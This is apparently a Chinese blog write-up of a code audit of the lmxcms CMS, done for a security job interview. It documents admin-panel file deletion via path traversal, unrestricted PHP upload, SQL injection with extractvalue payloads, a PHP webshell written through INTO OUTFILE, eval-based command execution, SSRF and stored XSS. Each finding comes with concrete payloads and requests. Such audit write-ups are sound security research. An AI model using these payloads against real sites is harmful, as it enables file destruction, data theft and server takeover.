前言:
1.这是参加四叶草安全的安全研究岗位面试考试,当时面试官发了我一套lmxcms的源码,让我进行审计,尽可能找出更多的漏洞,当时的结果旧纪录下来了,想着审都审了就做做个记录吧,上传到博客上来
0x01:后台文件管理处存在任意文件删除漏洞
http://127.0.0.1:83/admin.php后台文件管理处
随便选择一个图片,抓包,可以看到路径是用户输入的参数
对应的源码对应位置是
\m\FileModel.class.php,可以看到delete函数中的$data参数是传递过来的$_POST数组,
在$path[]=trim($fileInfo[1],”/“);处可以看到将$fileinfo[1]两侧的/移除了,然后在通过delteModel在数据库中删除对应fid后,将未经判断和过滤的$path直接使用unlink删除
这个时候就可以构造payload进行任意文件删除了
payload需要满足的条件是
payload必须形如:数字#####path
#####前面的数字是要满足parent:deleteModel()方法的中的数据库删除语句,如果此处没有数据或者数据或者数据不是数字,会导致sql查询失败,if条件不成立,无法进入unlink删除
如果没有#####,$fileinfo[1]就会是空,如下图所示,那么往下的$path[]=trim($fileInfo[1],”/“)的$path[]也会为空,就无法触发到unlink进行文件删除
验证:
在web根目录放置target.txt
构造payload:123#####../target.txt
成功删除
0X02:后台删除sql备份文件处存在任意文件删除
位置:系统管理,数据库备份与恢复
在这个地方可以备份数据库,我们首先点击下方的备份数据
数据备份完成后我们在恢复数据处发现可以删除备份文件
抓包,发现文件名直接就是可控的参数,猜测存在任意文件删除
定位到对应代码逻辑查看是否对filename参数有限制
\c\admin\BackdbActon.class.php处,$this-?delone是删除逻辑,此时$filename没有过滤
跟进后发现仍未过滤,直接将其进行拼接后删除,存在任意文件删除
在WWW目录下放置a.txt文件,并且构造filename参数为: ../../../a.txt即可成功删除
成功删除
0X03后台存在任意文件上传漏洞
后台文件设置处可以设置文件上传类型,对恶意后缀如php等后缀没有限制
系统管理->基本设置->文件设置
图片上传处位于:
内容管理处,随便点击一个关于我们进行编辑,上传php文件
后台中给还有多处文件上传,其他功能->焦点图->图片上传
0X04:后台存在sql注入漏洞
在后台处有明显的sql语句执行模块,尝试简单的查询语句后不会返回结果,但是语句失败会返回报错信息,故可以报错注入和延时注入
手工测试,payload: select extractvalue(1,concat(0x7e,(select database())));
成功获取数据库名称
payload:select extractvalue(1,concat(0x7e,(select table_name from
information_schema.tables where table_schema = DATABASE() limit 3,1)));获取表名
sqlmap获取表
如果数据库版本小于5.6.34且数据库用户权限较高,可直接利用into outfile写webshell直接getshell
1 | select "<?php system($_GET['a']);?>" into outfile "D://phpstudy_pro//WWW//lmxcms1.41//shell.php"; |
0X05后台存在命令执行漏洞
**触发点1:**在\c\admin\AcquisiAction.class.php中,第319行
318行处eval函数拼接了$temdata[data],而这个数据是来自数据库lxm_cj_data表中的data字段的,通过后台采集处和后台的sql语句执行处可以直接控制该处的数据
触发点2:
在382行处同样遍历listdata中的数据进行拼接后使用eval执行,此处的listdata同样来自lxm_cj_data,不过listdata是lxm_cj_data中一行的全部字段,将他进行遍历,当遍历到data字段时触发命令执行
payload:多个payload字段不能重复,否则不能插入成功
1 | insert into lmx_cj_data set id=2,lid=2,data="a;system('whoami')",uid=2,url=2,time=2,is_in=2; |
构造payload触发showCjData方法:
**payload1:**通过整个CMS的方法调用机制可知道m是方法名,该php类文件为AcquisiAction,所以m参数为Acquisi,调用的函数为showCjData则参数a为showCjData,同时在sql查询的过程中还需要3个必须的参数分别是id,lid,cld,知道这些后构建我们的请求头
请求GET /admin.php?m=Acquisi&a=showCjData&id=2&lid=2&cid=2即可触发对应payload中id为2的payload
成功命令执行
payload2:
根据上面同理,只不过触发函数换成了caijiDataList,构造,发包,触发命令执行
0X06:后台存在SSRF漏洞
位于系统管理->采集管理
在修改采集目标时可将其设置为内网目标,可探测/攻击内网web服务
设置为内网80端口上的一个服务
未经过滤直接发起请求
0X07:后台多处存储型XSS
1.系统管理->采集管理->添加节点
节点名称和备注均可xss
2.专题管理->添加专题
专题名称处存在xss
3.栏目管理->添加栏目->栏目名称处存在xss
此处会在前台添加一个栏目造成前台XSS
点击该页面再次触发
4.以上的操作会导致系统管理->日志管理处css,这个地方会显示一些操作详细,其中便包含xss恶意代码